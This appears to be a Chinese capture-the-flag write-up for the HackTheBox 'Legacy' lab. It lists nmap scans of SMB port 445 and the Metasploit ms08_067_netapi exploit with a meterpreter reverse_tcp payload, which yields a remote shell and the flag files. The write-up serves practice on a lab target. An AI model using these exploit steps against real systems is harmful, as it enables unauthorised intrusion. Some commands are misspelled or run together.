本文主要是介绍HackTheBox-Machines--Legacy,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 1 端口扫描
- 2 测试思路
- 3 445端口漏洞测试
- 4 flag
Legacy 测试过程
1 端口扫描
nmap -sC -sV 10.129.227.181
2 测试思路
目标开启了135、139、445端口,445 SMB服务存在很多可利用漏洞,所以测试点先从445端口开始。而且在Nmap扫描结果中,可以看到系统是Windows XP,所以寻找Windows XP相关的SMB漏洞。
3 445端口漏洞测试
1.搜索SMB服务相关漏洞
nmap -p 445 --srcipt vuln 10.129.227.181
2.漏洞exploit
search exploit/windows/smb
在输出中存在很多可利用exploit
use exploit/windows/smb/ms08_067_netapi set payload windows/meterpreter/reverse_tcpset rhosts 10.129.227.181set rport 445run
4 flag
type C:\Documents and Settings\john\Desktop\user.txt
type C:\Documents and Settings\Administrator\Desktop\root.txt
这篇关于HackTheBox-Machines--Legacy的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!